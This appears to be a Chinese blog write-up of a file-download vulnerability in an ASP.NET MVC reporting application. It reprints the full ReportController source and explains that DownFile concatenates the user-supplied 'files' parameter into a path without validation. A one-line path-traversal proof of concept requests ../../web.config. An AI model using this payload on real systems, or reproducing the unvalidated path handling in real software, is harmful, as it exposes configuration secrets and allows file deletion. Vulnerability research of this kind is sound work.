ASP.NET MVC架构 文件下载漏洞

发布于:2025-07-05 ⋅ 阅读:(23) ⋅ 点赞:(0)

DownFile

ReportController.cs代码

using System;
using System.Collections.Generic;
using System.Configuration;
using System.Data;
using System.IO;
using System.Linq;
using System.Text;
using System.Web.Mvc;
using Common;
using Interface;
using Newtonsoft.Json;
using NPOI.HSSF.UserModel;
using NPOI.SS.UserModel;
using OutSampleReportPrint.Models;
using Service;
using Sign;

namespace OutSampleReportPrint.Controllers;

public class ReportController : BaseInfoController
{
	private ISampleInfoInterface sampleInfo;

	public ReportController()
	{
		sampleInfo = new SampleInfoService();
	}

	public ActionResult ReportQueryManage()
	{
		if (!(base.UserType == "1"))
		{
			base.ViewBag.InspectHospital = false;
		}
		else
		{
			base.ViewBag.InspectHospital = true;
		}
		return View();
	}

	[HttpPost]
	public string QueryReportInfoList(string json, bool firstLoad, int pageIndex, int pageSize, string field = "CheckDatetime", string order = "1")
	{
		comm = new ReposeCommon();
		try
		{
			if (firstLoad)
			{
				comm.code = "0";
				comm.data = null;
				comm.total = "0";
			}
			else
			{
				string checkClientId = string.Empty;
				if (!string.IsNullOrEmpty(json))
				{
					dynamic val = JsonConvert.DeserializeObject<object>(json);
					if (val.clientId != null && !string.IsNullOrEmpty(val.clientId.ToString()))
					{
						checkClientId = val.clientId.ToString();
					}
				}
				StringBuilder ordersCodes = GetOrdersCodes(checkClientId);
				comm.code = "0";
				comm.data = sampleInfo.QueryReportInfoList(json, ordersCodes, pageIndex, pageSize, field, order, out var _, out var TotalRecord);
				comm.total = TotalRecord.ToString();
			}
		}
		catch (Exception ex)
		{
			comm.code = "1";
			comm.msg = "服务器错误";
			LogHelper.ErrorLog(ex);
		}
		return JsonConvert.SerializeObject(comm);
	}

	public string QueryInspectionHospital()
	{
		string value = new UserController().GetUserSelectDataOutside().ToString();
		ReposeCommon reposeCommon = JsonConvert.DeserializeObject<ReposeCommon>(value);
		if (!string.IsNullOrEmpty(base.ClientId))
		{
			string[] source = base.ClientId.Split(',');
			List<DropDownItems> list = JsonConvert.DeserializeObject<List<DropDownItems>>(reposeCommon.data.ToString());
			List<DropDownItems> list2 = new List<DropDownItems>();
			foreach (DropDownItems item in list)
			{
				if (source.Contains(item.value))
				{
					list2.Add(item);
				}
			}
			return JsonConvert.SerializeObject(list2);
		}
		return reposeCommon.data.ToString();
	}

	public void DownFile(string files, string guid, bool isDel = false)
	{
		try
		{
			if (string.IsNullOrEmpty(files))
			{
				return;
			}
			string[] array = files.Split(',');
			for (int i = 0; i < array.Length; i++)
			{
				string text = base.Server.MapPath("/Files/");
				string fileTypeByExtension = CommonBase.GetFileTypeByExtension(Path.GetExtension(array[i]));
				text = text + fileTypeByExtension + "/" + array[i];
				CommonBase.WebBrowerDownFile(text);
				if (isDel)
				{
					System.IO.File.Delete(text);
				}
			}
		}
		catch (Exception ex)
		{
			LogHelper.ErrorLog(ex);
			throw;
		}
	}

	public string ViewFile(string file, bool flag = true)
	{
		try
		{
			if (!string.IsNullOrEmpty(file))
			{
				string text = "/Files/";
				string fileTypeByExtension = CommonBase.GetFileTypeByExtension(Path.GetExtension(file));
				text = text + fileTypeByExtension + "/" + file;
				if (flag)
				{
					text = text + "?v=" + new Random().Next(0, 9999);
				}
				return text;
			}
		}
		catch (Exception ex)
		{
			LogHelper.ErrorLog(ex);
			throw;
		}
		return string.Empty;
	}

	public void UpdateSampleBasicInfoPrintCount(string guid)
	{
		try
		{
			if (!string.IsNullOrEmpty(guid))
			{
				int num = sampleInfo.UpdateSampleBasicInfoPrintCount(guid);
			}
		}
		catch (Exception ex)
		{
			LogHelper.ErrorLog(ex);
			throw;
		}
	}

	public string MorePdfMergeFile(string paths)
	{
		comm = new ReposeCommon();
		PdfHelper.httpServer = base.Server;
		try
		{
			if (!string.IsNullOrEmpty(paths))
			{
				string[] array = paths.Split(',');
				for (int i = 0; i < array.Length; i++)
				{
					string path = ViewFile(array[i], flag: false);
					array[i] = base.Server.MapPath(path);
				}
				if (!Directory.Exists(base.Server.MapPath("/Files/MergePdf")))
				{
					Directory.CreateDirectory(base.Server.MapPath("/Files/MergePdf"));
				}
				string text = "/Files/MergePdf/_" + DateTime.Now.ToString("yyyyMMddHHmmssfff") + ".pdf";
				PdfHelper.MergePDF(array, base.Server.MapPath(text));
				comm.code = "0";
				comm.data = text;
			}
		}
		catch (Exception ex)
		{
			comm.code = "1";
			comm.msg = "服务器错误";
			LogHelper.ErrorLog(ex);
			throw;
		}
		return JsonConvert.SerializeObject(comm);
	}

	public string MorePdfsDown(string paths)
	{
		try
		{
			if (!string.IsNullOrEmpty(paths))
			{
				string text = "/Files/Zip/" + DateTime.Now.ToString("yyyyMMddHHmmss");
				string text2 = base.Server.MapPath(text);
				if (!Directory.Exists(text2))
				{
					Directory.CreateDirectory(text2);
				}
				List<Dictionary<string, object>> list = JsonConvert.DeserializeObject<List<Dictionary<string, object>>>(paths);
				byte[] array = null;
				byte[] array2 = null;
				foreach (Dictionary<string, object> item in list)
				{
					string path = ViewFile(item["pdfName"].ToString(), flag: false);
					if (Convert.ToBoolean(item["signature"]))
					{
						using (FileStream fileStream = new FileStream(base.Server.MapPath(path), FileMode.Open, FileAccess.Read))
						{
							int num = (int)fileStream.Length;
							array = new byte[num];
							fileStream.Read(array, 0, array.Length);
						}
						array2 = _signPDF(array);
						using FileStream fileStream2 = new FileStream(text2 + "/" + item["pdfName"].ToString(), FileMode.Create);
						fileStream2.Write(array2, 0, array2.Length);
						fileStream2.Dispose();
					}
					else
					{
						System.IO.File.Copy(base.Server.MapPath(path), text2 + "/" + item["pdfName"].ToString(), overwrite: true);
					}
				}
				ZipHelper.CompressDirectory(text2, text2 + ".zip", 5, deleteDir: true);
				return text + ".zip";
			}
			return "";
		}
		catch (Exception ex)
		{
			LogHelper.ErrorLog(ex);
			throw;
		}
	}

	private byte[] _signPDF(byte[] fileBytes)
	{
		try
		{
			string sUrl = ConfigurationManager.AppSettings["SIGN_URL"].Trim();
			string sPdfMd = signPdf.md5(fileBytes);
			string text = "1401920010224";
			string text2 = "<SigInfos>";
			text2 += "<SigInfo>";
			text2 = text2 + "<UnitID>" + text + "</UnitID>";
			text2 = text2 + "<SealID>" + text + "</SealID>";
			text2 += "<mode>1</mode>";
			text2 += "<page>1</page>";
			text2 += "<x0>375</x0>";
			text2 += "<y0>0</y0>";
			text2 += "<x1>505</x1>";
			text2 += "<y1>130</y1>";
			text2 += "</SigInfo>";
			text2 += "</SigInfos>";
			string userID = text;
			string text3 = "";
			string text4 = "";
			try
			{
				text3 = signPdf.TZSignMore5(sUrl, fileBytes, sPdfMd, text2, userID);
				text4 = signPdf.TZGetResultInfo(text3, 0);
			}
			catch (Exception ex)
			{
				throw new Exception(ex.Message);
			}
			if (text4 == "true")
			{
				string s = signPdf.TZGetResultInfo(text3, 2);
				return Convert.FromBase64String(s);
			}
			return null;
		}
		catch (Exception ex2)
		{
			throw new Exception("签章失败,失败原因:" + ex2.ToString());
		}
	}

	public ActionResult ResultDetailList()
	{
		return View();
	}

	public string ExportReportResultInfo(string json, string strFieldList)
	{
		try
		{
			bool flag = false;
			dynamic val = JsonConvert.DeserializeObject<object>(strFieldList);
			string text = string.Empty;
			Dictionary<string, string> dictionary = new Dictionary<string, string>();
			for (int i = 0; i < val.Count; i++)
			{
				string text2 = val[i].value;
				if (text2 != "RowNumber")
				{
					text = text + text2 + ",";
				}
				else
				{
					flag = true;
				}
				if (text2.Contains('.'))
				{
					text2 = text2.Substring(text2.IndexOf('.') + 1);
				}
				dictionary.Add(text2, val[i].title.ToString());
			}
			text = text.Substring(0, text.Length - 1);
			StringBuilder ordersCodes = GetOrdersCodes();
			DataTable dataTable = sampleInfo.QueryReportResultInfoList(json, ordersCodes, text);
			LogHelper.InfoLog("访问" + base.Request.Path + ",查询数据结果正常");
			for (int j = 0; j < dataTable.Columns.Count; j++)
			{
				dataTable.Columns[j].ColumnName = dictionary[dataTable.Columns[j].ColumnName];
			}
			LogHelper.InfoLog("访问" + base.Request.Path + ",列名替换成功");
			IWorkbook workbook = new HSSFWorkbook();
			ICellStyle cellStyle = workbook.CreateCellStyle();
			cellStyle.BorderTop = BorderStyle.Thin;
			cellStyle.BorderLeft = BorderStyle.Thin;
			cellStyle.BorderRight = BorderStyle.Thin;
			cellStyle.BorderBottom = BorderStyle.Thin;
			cellStyle.Alignment = HorizontalAlignment.Center;
			cellStyle.VerticalAlignment = VerticalAlignment.Center;
			IFont font = workbook.CreateFont();
			font.FontHeightInPoints = 14.0;
			font.FontName = "微软雅黑";
			cellStyle.SetFont(font);
			ISheet sheet = workbook.CreateSheet("结果清单");
			IRow row = sheet.CreateRow(0);
			if (flag)
			{
				for (int k = 0; k <= dataTable.Columns.Count; k++)
				{
					ICell cell = row.CreateCell(k);
					if (k == 0)
					{
						cell.SetCellValue("序号");
					}
					else
					{
						cell.SetCellValue(dataTable.Columns[k - 1].ColumnName);
					}
					cell.CellStyle = cellStyle;
					sheet.SetColumnWidth(k, 7680);
				}
				for (int l = 1; l <= dataTable.Rows.Count; l++)
				{
					IRow row2 = sheet.CreateRow(l);
					for (int m = 0; m <= dataTable.Columns.Count; m++)
					{
						ICell cell2 = row2.CreateCell(m);
						if (m == 0)
						{
							cell2.SetCellValue(l);
						}
						else
						{
							cell2.SetCellValue((dataTable.Rows[l - 1][m - 1] == null) ? "" : dataTable.Rows[l - 1][m - 1].ToString());
						}
						cell2.CellStyle = cellStyle;
					}
				}
			}
			else
			{
				for (int n = 0; n < dataTable.Columns.Count; n++)
				{
					ICell cell3 = row.CreateCell(n);
					cell3.SetCellValue(dataTable.Columns[n].ColumnName);
					cell3.CellStyle = cellStyle;
					sheet.SetColumnWidth(n, 7680);
				}
				for (int num = 1; num <= dataTable.Rows.Count; num++)
				{
					IRow row3 = sheet.CreateRow(num);
					for (int num2 = 0; num2 < dataTable.Columns.Count; num2++)
					{
						ICell cell4 = row3.CreateCell(num2);
						cell4.SetCellValue((dataTable.Rows[num - 1][num2] == null) ? "" : dataTable.Rows[num - 1][num2].ToString());
						cell4.CellStyle = cellStyle;
					}
				}
			}
			LogHelper.InfoLog("访问" + base.Request.Path + ",Excel生成成功");
			string text3 = "结果清单_" + DateTime.Now.ToString("yyyyMMddhhmmss");
			XmlHelper xmlHelper = new XmlHelper();
			string text4 = base.Server.MapPath("/Files/Excel");
			if (!Directory.Exists(text4))
			{
				Directory.CreateDirectory(text4);
			}
			string path = text4 + "/" + text3 + ".xlsx";
			MemoryStream memoryStream = new MemoryStream();
			workbook.Write(memoryStream);
			memoryStream.Flush();
			using (FileStream fileStream = new FileStream(path, FileMode.OpenOrCreate, FileAccess.Write))
			{
				byte[] array = memoryStream.ToArray();
				fileStream.Write(array, 0, array.Length);
				fileStream.Flush();
				array = null;
			}
			return text3 + ".xlsx";
		}
		catch (Exception ex)
		{
			LogHelper.ErrorLog(ex);
			throw;
		}
	}

	public ActionResult PrintGuide()
	{
		return View();
	}
}

关键代码分析

代码

	public void DownFile(string files, string guid, bool isDel = false)
	{
		try
		{
			if (string.IsNullOrEmpty(files))
			{
				return;
			}
			string[] array = files.Split(',');
			for (int i = 0; i < array.Length; i++)
			{
				string text = base.Server.MapPath("/Files/");
				string fileTypeByExtension = CommonBase.GetFileTypeByExtension(Path.GetExtension(array[i]));
				text = text + fileTypeByExtension + "/" + array[i];
				CommonBase.WebBrowerDownFile(text);
				if (isDel)
				{
					System.IO.File.Delete(text);
				}
			}
		}
		catch (Exception ex)
		{
			LogHelper.ErrorLog(ex);
			throw;
		}
	}

 

开始分析

路由的位置是 Report/DownFile 传参 files 下载文件,参数拼接文件路径,没有进行验证或过滤

POC

/Report/DownFile?files=../../web.config

成功下载


网站公告

今日签到

点亮在社区的每一天
去签到